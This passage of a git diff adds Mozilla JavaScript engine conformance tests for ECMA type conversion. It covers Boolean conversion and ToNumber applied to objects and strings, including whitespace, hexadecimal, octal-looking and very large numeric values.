+new TestCase( SECTION, "Boolean(new Object())", true, Boolean(new Object()) );
+new TestCase( SECTION, "Boolean(new Function())", true, Boolean(new Function()) );
+new TestCase( SECTION, "Boolean(new Date())", true, Boolean(new Date()) );
+new TestCase( SECTION, "Boolean(new Date(0))", true, Boolean(new Date(0)) );
+new TestCase( SECTION, "Boolean(Math)", true, Boolean(Math) );
+
+// bug 375793
+new TestCase( SECTION,
+ "NaN ? true : false",
+ false,
+ (NaN ? true : false) );
+new TestCase( SECTION,
+ "1000 % 0 ? true : false",
+ false,
+ (1000 % 0 ? true : false) );
+new TestCase( SECTION,
+ "(function(a,b){ return a % b ? true : false })(1000, 0)",
+ false,
+ ((function(a,b){ return a % b ? true : false })(1000, 0)) );
+
+new TestCase( SECTION,
+ "(function(x) { return !(x) })(0/0)",
+ true,
+ ((function(x) { return !(x) })(0/0)) );
+new TestCase( SECTION,
+ "!(0/0)",
+ true,
+ (!(0/0)) );
+test();
+
diff --git a/js/src/tests/ecma/TypeConversion/9.3-1.js b/js/src/tests/ecma/TypeConversion/9.3-1.js
new file mode 100644
index 000000000..912b21962
--- /dev/null
+++ b/js/src/tests/ecma/TypeConversion/9.3-1.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 9.3-1.js
+ ECMA Section: 9.3 Type Conversion: ToNumber
+ Description: rules for converting an argument to a number.
+ see 9.3.1 for cases for converting strings to numbers.
+ special cases:
+ undefined NaN
+ Null NaN
+ Boolean 1 if true; +0 if false
+ Number the argument ( no conversion )
+ String see test 9.3.1
+ Object see test 9.3-1
+
+
+ This tests ToNumber applied to the object type, except
+ if object is string. See 9.3-2 for
+ ToNumber( String object).
+
+ Author: christine@netscape.com
+ Date: 10 july 1997
+
+*/
+var SECTION = "9.3-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " ToNumber");
+
+// object is Number
+new TestCase( SECTION, "Number(new Number())", 0, Number(new Number()) );
+new TestCase( SECTION, "typeof Number(new Number())", "number", typeof Number(new Number()) );
+
+new TestCase( SECTION, "Number(new Number(Number.NaN))", Number.NaN, Number(new Number(Number.NaN)) );
+new TestCase( SECTION, "typeof Number(new Number(Number.NaN))","number", typeof Number(new Number(Number.NaN)) );
+
+new TestCase( SECTION, "Number(new Number(0))", 0, Number(new Number(0)) );
+new TestCase( SECTION, "typeof Number(new Number(0))", "number", typeof Number(new Number(0)) );
+
+new TestCase( SECTION, "Number(new Number(null))", 0, Number(new Number(null)) );
+new TestCase( SECTION, "typeof Number(new Number(null))", "number", typeof Number(new Number(null)) );
+
+
+// new TestCase( SECTION, "Number(new Number(void 0))", Number.NaN, Number(new Number(void 0)) );
+new TestCase( SECTION, "Number(new Number(true))", 1, Number(new Number(true)) );
+new TestCase( SECTION, "typeof Number(new Number(true))", "number", typeof Number(new Number(true)) );
+
+new TestCase( SECTION, "Number(new Number(false))", 0, Number(new Number(false)) );
+new TestCase( SECTION, "typeof Number(new Number(false))", "number", typeof Number(new Number(false)) );
+
+// object is boolean
+new TestCase( SECTION, "Number(new Boolean(true))", 1, Number(new Boolean(true)) );
+new TestCase( SECTION, "typeof Number(new Boolean(true))", "number", typeof Number(new Boolean(true)) );
+
+new TestCase( SECTION, "Number(new Boolean(false))", 0, Number(new Boolean(false)) );
+new TestCase( SECTION, "typeof Number(new Boolean(false))", "number", typeof Number(new Boolean(false)) );
+
+// object is array
+new TestCase( SECTION, "Number(new Array(2,4,8,16,32))", Number.NaN, Number(new Array(2,4,8,16,32)) );
+new TestCase( SECTION, "typeof Number(new Array(2,4,8,16,32))", "number", typeof Number(new Array(2,4,8,16,32)) );
+
+test();
diff --git a/js/src/tests/ecma/TypeConversion/9.3.1-1.js b/js/src/tests/ecma/TypeConversion/9.3.1-1.js
new file mode 100644
index 000000000..70e80c5a7
--- /dev/null
+++ b/js/src/tests/ecma/TypeConversion/9.3.1-1.js
@@ -0,0 +1,308 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 9.3.1-1.js
+ ECMA Section: 9.3 Type Conversion: ToNumber
+ Description: rules for converting an argument to a number.
+ see 9.3.1 for cases for converting strings to numbers.
+ special cases:
+ undefined NaN
+ Null NaN
+ Boolean 1 if true; +0 if false
+ Number the argument ( no conversion )
+ String see test 9.3.1
+ Object see test 9.3-1
+
+
+ This tests ToNumber applied to the string type
+
+ Author: christine@netscape.com
+ Date: 10 july 1997
+
+*/
+var SECTION = "9.3.1-1";
+var VERSION = "ECMA_1";
+var TITLE = "ToNumber applied to the String type";
+var BUGNUMBER="77391";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// StringNumericLiteral:::StrWhiteSpace:::StrWhiteSpaceChar StrWhiteSpace:::
+//
+// Name Unicode Value Escape Sequence
+// <TAB> 0X0009 \t
+// <SP> 0X0020
+// <FF> 0X000C \f
+// <VT> 0X000B
+// <CR> 0X000D \r
+// <LF> 0X000A \n
+new TestCase( SECTION, "Number('')", 0, Number("") );
+new TestCase( SECTION, "Number(' ')", 0, Number(" ") );
+new TestCase( SECTION, "Number(\\t)", 0, Number("\t") );
+new TestCase( SECTION, "Number(\\n)", 0, Number("\n") );
+new TestCase( SECTION, "Number(\\r)", 0, Number("\r") );
+new TestCase( SECTION, "Number(\\f)", 0, Number("\f") );
+
+new TestCase( SECTION, "Number(String.fromCharCode(0x0009)", 0, Number(String.fromCharCode(0x0009)) );
+new TestCase( SECTION, "Number(String.fromCharCode(0x0020)", 0, Number(String.fromCharCode(0x0020)) );
+new TestCase( SECTION, "Number(String.fromCharCode(0x000C)", 0, Number(String.fromCharCode(0x000C)) );
+new TestCase( SECTION, "Number(String.fromCharCode(0x000B)", 0, Number(String.fromCharCode(0x000B)) );
+new TestCase( SECTION, "Number(String.fromCharCode(0x000D)", 0, Number(String.fromCharCode(0x000D)) );
+new TestCase( SECTION, "Number(String.fromCharCode(0x000A)", 0, Number(String.fromCharCode(0x000A)) );
+
+// a StringNumericLiteral may be preceeded or followed by whitespace and/or
+// line terminators
+
+new TestCase( SECTION, "Number( ' ' + 999 )", 999, Number( ' '+999) );
+new TestCase( SECTION, "Number( '\\n' + 999 )", 999, Number( '\n' +999) );
+new TestCase( SECTION, "Number( '\\r' + 999 )", 999, Number( '\r' +999) );
+new TestCase( SECTION, "Number( '\\t' + 999 )", 999, Number( '\t' +999) );
+new TestCase( SECTION, "Number( '\\f' + 999 )", 999, Number( '\f' +999) );
+
+new TestCase( SECTION, "Number( 999 + ' ' )", 999, Number( 999+' ') );
+new TestCase( SECTION, "Number( 999 + '\\n' )", 999, Number( 999+'\n' ) );
+new TestCase( SECTION, "Number( 999 + '\\r' )", 999, Number( 999+'\r' ) );
+new TestCase( SECTION, "Number( 999 + '\\t' )", 999, Number( 999+'\t' ) );
+new TestCase( SECTION, "Number( 999 + '\\f' )", 999, Number( 999+'\f' ) );
+
+new TestCase( SECTION, "Number( '\\n' + 999 + '\\n' )", 999, Number( '\n' +999+'\n' ) );
+new TestCase( SECTION, "Number( '\\r' + 999 + '\\r' )", 999, Number( '\r' +999+'\r' ) );
+new TestCase( SECTION, "Number( '\\t' + 999 + '\\t' )", 999, Number( '\t' +999+'\t' ) );
+new TestCase( SECTION, "Number( '\\f' + 999 + '\\f' )", 999, Number( '\f' +999+'\f' ) );
+
+new TestCase( SECTION, "Number( ' ' + '999' )", 999, Number( ' '+'999') );
+new TestCase( SECTION, "Number( '\\n' + '999' )", 999, Number( '\n' +'999') );
+new TestCase( SECTION, "Number( '\\r' + '999' )", 999, Number( '\r' +'999') );
+new TestCase( SECTION, "Number( '\\t' + '999' )", 999, Number( '\t' +'999') );
+new TestCase( SECTION, "Number( '\\f' + '999' )", 999, Number( '\f' +'999') );
+
+new TestCase( SECTION, "Number( '999' + ' ' )", 999, Number( '999'+' ') );
+new TestCase( SECTION, "Number( '999' + '\\n' )", 999, Number( '999'+'\n' ) );
+new TestCase( SECTION, "Number( '999' + '\\r' )", 999, Number( '999'+'\r' ) );
+new TestCase( SECTION, "Number( '999' + '\\t' )", 999, Number( '999'+'\t' ) );
+new TestCase( SECTION, "Number( '999' + '\\f' )", 999, Number( '999'+'\f' ) );
+
+new TestCase( SECTION, "Number( '\\n' + '999' + '\\n' )", 999, Number( '\n' +'999'+'\n' ) );
+new TestCase( SECTION, "Number( '\\r' + '999' + '\\r' )", 999, Number( '\r' +'999'+'\r' ) );
+new TestCase( SECTION, "Number( '\\t' + '999' + '\\t' )", 999, Number( '\t' +'999'+'\t' ) );
+new TestCase( SECTION, "Number( '\\f' + '999' + '\\f' )", 999, Number( '\f' +'999'+'\f' ) );
+
+var ws = ["",
+ " ",
+ " ",
+ " "];
+
+for (var i = 0, sz = ws.length; i < sz; i++)
+{
+ var start = ws[i];
+ for (var j = 0; j < sz; j++)
+ {
+ var end = ws[j];
+ new TestCase( SECTION, "Number( '" + start + "' + '0xA' )", 10, Number( start+'0xA') );
+
+ new TestCase( SECTION, "Number( '0xA' + '" + end + "' )", 10, Number( '0xA'+end) );
+
+ new TestCase( SECTION, "Number( '" + start + "' + '0xA' + '" + end + "' )", 10, Number( start +'0xA'+end ) );
+ }
+}
+
+new TestCase( SECTION, "Number( String.fromCharCode(0x0009) + '99' )", 99, Number( String.fromCharCode(0x0009) + '99' ) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x0020) + '99' )", 99, Number( String.fromCharCode(0x0020) + '99' ) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x000C) + '99' )", 99, Number( String.fromCharCode(0x000C) + '99' ) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x000B) + '99' )", 99, Number( String.fromCharCode(0x000B) + '99' ) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x000D) + '99' )", 99, Number( String.fromCharCode(0x000D) + '99' ) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x000A) + '99' )", 99, Number( String.fromCharCode(0x000A) + '99' ) );
+
+new TestCase( SECTION, "Number( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0009)", 99, Number( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0009)) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x0020) + '99' + String.fromCharCode(0x0020)", 99, Number( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0020)) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x000C) + '99' + String.fromCharCode(0x000C)", 99, Number( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000C)) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x000D) + '99' + String.fromCharCode(0x000D)", 99, Number( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000D)) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x000B) + '99' + String.fromCharCode(0x000B)", 99, Number( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000B)) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x000A) + '99' + String.fromCharCode(0x000A)", 99, Number( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000A)) );
+
+new TestCase( SECTION, "Number( '99' + String.fromCharCode(0x0009)", 99, Number( '99' + String.fromCharCode(0x0009)) );
+new TestCase( SECTION, "Number( '99' + String.fromCharCode(0x0020)", 99, Number( '99' + String.fromCharCode(0x0020)) );
+new TestCase( SECTION, "Number( '99' + String.fromCharCode(0x000C)", 99, Number( '99' + String.fromCharCode(0x000C)) );
+new TestCase( SECTION, "Number( '99' + String.fromCharCode(0x000D)", 99, Number( '99' + String.fromCharCode(0x000D)) );
+new TestCase( SECTION, "Number( '99' + String.fromCharCode(0x000B)", 99, Number( '99' + String.fromCharCode(0x000B)) );
+new TestCase( SECTION, "Number( '99' + String.fromCharCode(0x000A)", 99, Number( '99' + String.fromCharCode(0x000A)) );
+
+new TestCase( SECTION, "Number( String.fromCharCode(0x0009) + 99 )", 99, Number( String.fromCharCode(0x0009) + 99 ) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x0020) + 99 )", 99, Number( String.fromCharCode(0x0020) + 99 ) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x000C) + 99 )", 99, Number( String.fromCharCode(0x000C) + 99 ) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x000B) + 99 )", 99, Number( String.fromCharCode(0x000B) + 99 ) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x000D) + 99 )", 99, Number( String.fromCharCode(0x000D) + 99 ) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x000A) + 99 )", 99, Number( String.fromCharCode(0x000A) + 99 ) );
+
+new TestCase( SECTION, "Number( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0009)", 99, Number( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0009)) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x0020) + 99 + String.fromCharCode(0x0020)", 99, Number( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0020)) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x000C) + 99 + String.fromCharCode(0x000C)", 99, Number( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000C)) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x000D) + 99 + String.fromCharCode(0x000D)", 99, Number( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000D)) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x000B) + 99 + String.fromCharCode(0x000B)", 99, Number( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000B)) );
+new TestCase( SECTION, "Number( String.fromCharCode(0x000A) + 99 + String.fromCharCode(0x000A)", 99, Number( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000A)) );
+
+new TestCase( SECTION, "Number( 99 + String.fromCharCode(0x0009)", 99, Number( 99 + String.fromCharCode(0x0009)) );
+new TestCase( SECTION, "Number( 99 + String.fromCharCode(0x0020)", 99, Number( 99 + String.fromCharCode(0x0020)) );
+new TestCase( SECTION, "Number( 99 + String.fromCharCode(0x000C)", 99, Number( 99 + String.fromCharCode(0x000C)) );
+new TestCase( SECTION, "Number( 99 + String.fromCharCode(0x000D)", 99, Number( 99 + String.fromCharCode(0x000D)) );
+new TestCase( SECTION, "Number( 99 + String.fromCharCode(0x000B)", 99, Number( 99 + String.fromCharCode(0x000B)) );
+new TestCase( SECTION, "Number( 99 + String.fromCharCode(0x000A)", 99, Number( 99 + String.fromCharCode(0x000A)) );
+
+
+// StrNumericLiteral:::StrDecimalLiteral:::Infinity
+
+new TestCase( SECTION, "Number('Infinity')", Math.pow(10,10000), Number("Infinity") );
+new TestCase( SECTION, "Number('-Infinity')", -Math.pow(10,10000), Number("-Infinity") );
+new TestCase( SECTION, "Number('+Infinity')", Math.pow(10,10000), Number("+Infinity") );
+
+// StrNumericLiteral::: StrDecimalLiteral ::: DecimalDigits . DecimalDigits opt ExponentPart opt
+
+new TestCase( SECTION, "Number('0')", 0, Number("0") );
+new TestCase( SECTION, "Number('-0')", -0, Number("-0") );
+new TestCase( SECTION, "Number('+0')", 0, Number("+0") );
+
+new TestCase( SECTION, "Number('1')", 1, Number("1") );
+new TestCase( SECTION, "Number('-1')", -1, Number("-1") );
+new TestCase( SECTION, "Number('+1')", 1, Number("+1") );
+
+new TestCase( SECTION, "Number('2')", 2, Number("2") );
+new TestCase( SECTION, "Number('-2')", -2, Number("-2") );
+new TestCase( SECTION, "Number('+2')", 2, Number("+2") );
+
+new TestCase( SECTION, "Number('3')", 3, Number("3") );
+new TestCase( SECTION, "Number('-3')", -3, Number("-3") );
+new TestCase( SECTION, "Number('+3')", 3, Number("+3") );
+
+new TestCase( SECTION, "Number('4')", 4, Number("4") );
+new TestCase( SECTION, "Number('-4')", -4, Number("-4") );
+new TestCase( SECTION, "Number('+4')", 4, Number("+4") );
+
+new TestCase( SECTION, "Number('5')", 5, Number("5") );
+new TestCase( SECTION, "Number('-5')", -5, Number("-5") );
+new TestCase( SECTION, "Number('+5')", 5, Number("+5") );
+
+new TestCase( SECTION, "Number('6')", 6, Number("6") );
+new TestCase( SECTION, "Number('-6')", -6, Number("-6") );
+new TestCase( SECTION, "Number('+6')", 6, Number("+6") );
+
+new TestCase( SECTION, "Number('7')", 7, Number("7") );
+new TestCase( SECTION, "Number('-7')", -7, Number("-7") );
+new TestCase( SECTION, "Number('+7')", 7, Number("+7") );
+
+new TestCase( SECTION, "Number('8')", 8, Number("8") );
+new TestCase( SECTION, "Number('-8')", -8, Number("-8") );
+new TestCase( SECTION, "Number('+8')", 8, Number("+8") );
+
+new TestCase( SECTION, "Number('9')", 9, Number("9") );
+new TestCase( SECTION, "Number('-9')", -9, Number("-9") );
+new TestCase( SECTION, "Number('+9')", 9, Number("+9") );
+
+new TestCase( SECTION, "Number('3.14159')", 3.14159, Number("3.14159") );
+new TestCase( SECTION, "Number('-3.14159')", -3.14159, Number("-3.14159") );
+new TestCase( SECTION, "Number('+3.14159')", 3.14159, Number("+3.14159") );
+
+new TestCase( SECTION, "Number('3.')", 3, Number("3.") );
+new TestCase( SECTION, "Number('-3.')", -3, Number("-3.") );
+new TestCase( SECTION, "Number('+3.')", 3, Number("+3.") );
+
+new TestCase( SECTION, "Number('3.e1')", 30, Number("3.e1") );
+new TestCase( SECTION, "Number('-3.e1')", -30, Number("-3.e1") );
+new TestCase( SECTION, "Number('+3.e1')", 30, Number("+3.e1") );
+
+new TestCase( SECTION, "Number('3.e+1')", 30, Number("3.e+1") );
+new TestCase( SECTION, "Number('-3.e+1')", -30, Number("-3.e+1") );
+new TestCase( SECTION, "Number('+3.e+1')", 30, Number("+3.e+1") );
+
+new TestCase( SECTION, "Number('3.e-1')", .30, Number("3.e-1") );
+new TestCase( SECTION, "Number('-3.e-1')", -.30, Number("-3.e-1") );
+new TestCase( SECTION, "Number('+3.e-1')", .30, Number("+3.e-1") );
+
+// StrDecimalLiteral::: .DecimalDigits ExponentPart opt
+
+new TestCase( SECTION, "Number('.00001')", 0.00001, Number(".00001") );
+new TestCase( SECTION, "Number('+.00001')", 0.00001, Number("+.00001") );
+new TestCase( SECTION, "Number('-0.0001')", -0.00001, Number("-.00001") );
+
+new TestCase( SECTION, "Number('.01e2')", 1, Number(".01e2") );
+new TestCase( SECTION, "Number('+.01e2')", 1, Number("+.01e2") );
+new TestCase( SECTION, "Number('-.01e2')", -1, Number("-.01e2") );
+
+new TestCase( SECTION, "Number('.01e+2')", 1, Number(".01e+2") );
+new TestCase( SECTION, "Number('+.01e+2')", 1, Number("+.01e+2") );
+new TestCase( SECTION, "Number('-.01e+2')", -1, Number("-.01e+2") );
+
+new TestCase( SECTION, "Number('.01e-2')", 0.0001, Number(".01e-2") );
+new TestCase( SECTION, "Number('+.01e-2')", 0.0001, Number("+.01e-2") );
+new TestCase( SECTION, "Number('-.01e-2')", -0.0001, Number("-.01e-2") );
+
+// StrDecimalLiteral::: DecimalDigits ExponentPart opt
+
+new TestCase( SECTION, "Number('1234e5')", 123400000, Number("1234e5") );
+new TestCase( SECTION, "Number('+1234e5')", 123400000, Number("+1234e5") );
+new TestCase( SECTION, "Number('-1234e5')", -123400000, Number("-1234e5") );
+
+new TestCase( SECTION, "Number('1234e+5')", 123400000, Number("1234e+5") );
+new TestCase( SECTION, "Number('+1234e+5')", 123400000, Number("+1234e+5") );
+new TestCase( SECTION, "Number('-1234e+5')", -123400000, Number("-1234e+5") );
+
+new TestCase( SECTION, "Number('1234e-5')", 0.01234, Number("1234e-5") );
+new TestCase( SECTION, "Number('+1234e-5')", 0.01234, Number("+1234e-5") );
+new TestCase( SECTION, "Number('-1234e-5')", -0.01234, Number("-1234e-5") );
+
+// StrNumericLiteral::: HexIntegerLiteral
+
+new TestCase( SECTION, "Number('0x0')", 0, Number("0x0"));
+new TestCase( SECTION, "Number('0x1')", 1, Number("0x1"));
+new TestCase( SECTION, "Number('0x2')", 2, Number("0x2"));
+new TestCase( SECTION, "Number('0x3')", 3, Number("0x3"));
+new TestCase( SECTION, "Number('0x4')", 4, Number("0x4"));
+new TestCase( SECTION, "Number('0x5')", 5, Number("0x5"));
+new TestCase( SECTION, "Number('0x6')", 6, Number("0x6"));
+new TestCase( SECTION, "Number('0x7')", 7, Number("0x7"));
+new TestCase( SECTION, "Number('0x8')", 8, Number("0x8"));
+new TestCase( SECTION, "Number('0x9')", 9, Number("0x9"));
+new TestCase( SECTION, "Number('0xa')", 10, Number("0xa"));
+new TestCase( SECTION, "Number('0xb')", 11, Number("0xb"));
+new TestCase( SECTION, "Number('0xc')", 12, Number("0xc"));
+new TestCase( SECTION, "Number('0xd')", 13, Number("0xd"));
+new TestCase( SECTION, "Number('0xe')", 14, Number("0xe"));
+new TestCase( SECTION, "Number('0xf')", 15, Number("0xf"));
+new TestCase( SECTION, "Number('0xA')", 10, Number("0xA"));
+new TestCase( SECTION, "Number('0xB')", 11, Number("0xB"));
+new TestCase( SECTION, "Number('0xC')", 12, Number("0xC"));
+new TestCase( SECTION, "Number('0xD')", 13, Number("0xD"));
+new TestCase( SECTION, "Number('0xE')", 14, Number("0xE"));
+new TestCase( SECTION, "Number('0xF')", 15, Number("0xF"));
+
+new TestCase( SECTION, "Number('0X0')", 0, Number("0X0"));
+new TestCase( SECTION, "Number('0X1')", 1, Number("0X1"));
+new TestCase( SECTION, "Number('0X2')", 2, Number("0X2"));
+new TestCase( SECTION, "Number('0X3')", 3, Number("0X3"));
+new TestCase( SECTION, "Number('0X4')", 4, Number("0X4"));
+new TestCase( SECTION, "Number('0X5')", 5, Number("0X5"));
+new TestCase( SECTION, "Number('0X6')", 6, Number("0X6"));
+new TestCase( SECTION, "Number('0X7')", 7, Number("0X7"));
+new TestCase( SECTION, "Number('0X8')", 8, Number("0X8"));
+new TestCase( SECTION, "Number('0X9')", 9, Number("0X9"));
+new TestCase( SECTION, "Number('0Xa')", 10, Number("0Xa"));
+new TestCase( SECTION, "Number('0Xb')", 11, Number("0Xb"));
+new TestCase( SECTION, "Number('0Xc')", 12, Number("0Xc"));
+new TestCase( SECTION, "Number('0Xd')", 13, Number("0Xd"));
+new TestCase( SECTION, "Number('0Xe')", 14, Number("0Xe"));
+new TestCase( SECTION, "Number('0Xf')", 15, Number("0Xf"));
+new TestCase( SECTION, "Number('0XA')", 10, Number("0XA"));
+new TestCase( SECTION, "Number('0XB')", 11, Number("0XB"));
+new TestCase( SECTION, "Number('0XC')", 12, Number("0XC"));
+new TestCase( SECTION, "Number('0XD')", 13, Number("0XD"));
+new TestCase( SECTION, "Number('0XE')", 14, Number("0XE"));
+new TestCase( SECTION, "Number('0XF')", 15, Number("0XF"));
+
+test();
+
diff --git a/js/src/tests/ecma/TypeConversion/9.3.1-2.js b/js/src/tests/ecma/TypeConversion/9.3.1-2.js
new file mode 100644
index 000000000..671345980
--- /dev/null
+++ b/js/src/tests/ecma/TypeConversion/9.3.1-2.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 9.3.1-2.js
+ ECMA Section: 9.3 Type Conversion: ToNumber
+ Description: rules for converting an argument to a number.
+ see 9.3.1 for cases for converting strings to numbers.
+ special cases:
+ undefined NaN
+ Null NaN
+ Boolean 1 if true; +0 if false
+ Number the argument ( no conversion )
+ String see test 9.3.1
+ Object see test 9.3-1
+
+ This tests special cases of ToNumber(string) that are
+ not covered in 9.3.1-1.js.
+
+ Author: christine@netscape.com
+ Date: 10 july 1997
+
+*/
+var SECTION = "9.3.1-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "ToNumber applied to the String type";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// A StringNumericLiteral may not use octal notation
+
+new TestCase( SECTION, "Number(00)", 0, Number("00"));
+new TestCase( SECTION, "Number(01)", 1, Number("01"));
+new TestCase( SECTION, "Number(02)", 2, Number("02"));
+new TestCase( SECTION, "Number(03)", 3, Number("03"));
+new TestCase( SECTION, "Number(04)", 4, Number("04"));
+new TestCase( SECTION, "Number(05)", 5, Number("05"));
+new TestCase( SECTION, "Number(06)", 6, Number("06"));
+new TestCase( SECTION, "Number(07)", 7, Number("07"));
+new TestCase( SECTION, "Number(010)", 10, Number("010"));
+new TestCase( SECTION, "Number(011)", 11, Number("011"));
+
+// A StringNumericLIteral may have any number of leading 0 digits
+
+new TestCase( SECTION, "Number(001)", 1, Number("001"));
+new TestCase( SECTION, "Number(0001)", 1, Number("0001"));
+
+test();
+
diff --git a/js/src/tests/ecma/TypeConversion/9.3.1-3.js b/js/src/tests/ecma/TypeConversion/9.3.1-3.js
new file mode 100644
index 000000000..18544e955
--- /dev/null
+++ b/js/src/tests/ecma/TypeConversion/9.3.1-3.js
@@ -0,0 +1,718 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 9.3.1-3.js
+ ECMA Section: 9.3 Type Conversion: ToNumber
+ Description: rules for converting an argument to a number.
+ see 9.3.1 for cases for converting strings to numbers.
+ special cases:
+ undefined NaN
+ Null NaN
+ Boolean 1 if true; +0 if false
+ Number the argument ( no conversion )
+ String see test 9.3.1
+ Object see test 9.3-1
+
+
+ Test cases provided by waldemar.
+
+
+ Author: christine@netscape.com
+ Date: 10 june 1998
+
+*/
+
+var SECTION = "9.3.1-3";
+var VERSION = "ECMA_1";
+var BUGNUMBER="129087";
+
+var TITLE = "Number To String, String To Number";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// test case from http://scopus.mcom.com/bugsplat/show_bug.cgi?id=312954
+var z = 0;
+
+new TestCase(
+ SECTION,
+ "var z = 0; print(1/-z)",
+ -Infinity,
+ 1/-z );
+
+
+
+
+
+// test cases from bug http://scopus.mcom.com/bugsplat/show_bug.cgi?id=122882
+
+
+
+new TestCase( SECTION,
+ '- -"0x80000000"',
+ 2147483648,
+ - -"0x80000000" );
+
+new TestCase( SECTION,
+ '- -"0x100000000"',
+ 4294967296,
+ - -"0x100000000" );
+
+new TestCase( SECTION,
+ '- "-0x123456789abcde8"',
+ NaN,
+ - "-0x123456789abcde8" );
+
+new TestCase( SECTION,
+ '- "+0x123456789abcde8"',
+ NaN,
+ - "+0x123456789abcde8" );
+
+// Convert some large numbers to string
+
+
+new TestCase( SECTION,
+ "1e2000 +''",
+ "Infinity",
+ 1e2000 +"" );
+
+new TestCase( SECTION,
+ "1e2000",
+ Infinity,
+ 1e2000 );
+
+new TestCase( SECTION,
+ "-1e2000 +''",
+ "-Infinity",
+ -1e2000 +"" );
+
+new TestCase( SECTION,
+ "-\"1e2000\"",
+ -Infinity,
+ -"1e2000" );
+
+new TestCase( SECTION,
+ "-\"-1e2000\" +''",
+ "Infinity",
+ -"-1e2000" +"" );
+
+new TestCase( SECTION,
+ "1e-2000",
+ 0,
+ 1e-2000 );
+
+new TestCase( SECTION,
+ "1/1e-2000",
+ Infinity,
+ 1/1e-2000 );
+
+// convert some strings to large numbers
+
+new TestCase( SECTION,
+ "1/-1e-2000",
+ -Infinity,
+ 1/-1e-2000 );
+
+new TestCase( SECTION,
+ "1/\"1e-2000\"",
+ Infinity,
+ 1/"1e-2000" );
+
+new TestCase( SECTION,
+ "1/\"-1e-2000\"",
+ -Infinity,
+ 1/"-1e-2000" );
+
+new TestCase( SECTION,
+ "parseFloat(\"1e2000\")",
+ Infinity,
+ parseFloat("1e2000") );
+
+new TestCase( SECTION,
+ "parseFloat(\"1e-2000\")",
+ 0,
+ parseFloat("1e-2000") );
+
+new TestCase( SECTION,
+ "1.7976931348623157E+308",
+ 1.7976931348623157e+308,
+ 1.7976931348623157E+308 );
+
+new TestCase( SECTION,
+ "1.7976931348623158e+308",
+ 1.7976931348623157e+308,
+ 1.7976931348623158e+308 );
+
+new TestCase( SECTION,
+ "1.7976931348623159e+308",
+ Infinity,
+ 1.7976931348623159e+308 );
+
+s =
+ "17976931348623158079372897140530341507993413271003782693617377898044496829276475094664901797758720709633028641669288791094655554785194040263065748867150582068";
+
+print("s = " + s);
+print("-s = " + (-s));
+
+new TestCase( SECTION,
+ "s = " + s +"; s +="+
+ "\"190890200070838367627385484581771153176447573027006985557136695962284291481986083493647529271907416844436551070434271155969950809304288017790417449779\""+
+
+ +"; s",
+ "17976931348623158079372897140530341507993413271003782693617377898044496829276475094664901797758720709633028641669288791094655554785194040263065748867150582068190890200070838367627385484581771153176447573027006985557136695962284291481986083493647529271907416844436551070434271155969950809304288017790417449779",
+ s +=
+ "190890200070838367627385484581771153176447573027006985557136695962284291481986083493647529271907416844436551070434271155969950809304288017790417449779"
+ );
+
+s1 = s+1;
+
+print("s1 = " + s1);
+print("-s1 = " + (-s1));
+
+new TestCase( SECTION,
+ "s1 = s+1; s1",
+ "179769313486231580793728971405303415079934132710037826936173778980444968292764750946649017977587207096330286416692887910946555547851940402630657488671505820681908902000708383676273854845817711531764475730270069855571366959622842914819860834936475292719074168444365510704342711559699508093042880177904174497791",
+ s1 );
+
+/***** This answer is preferred but -Infinity is also acceptable here *****/
+
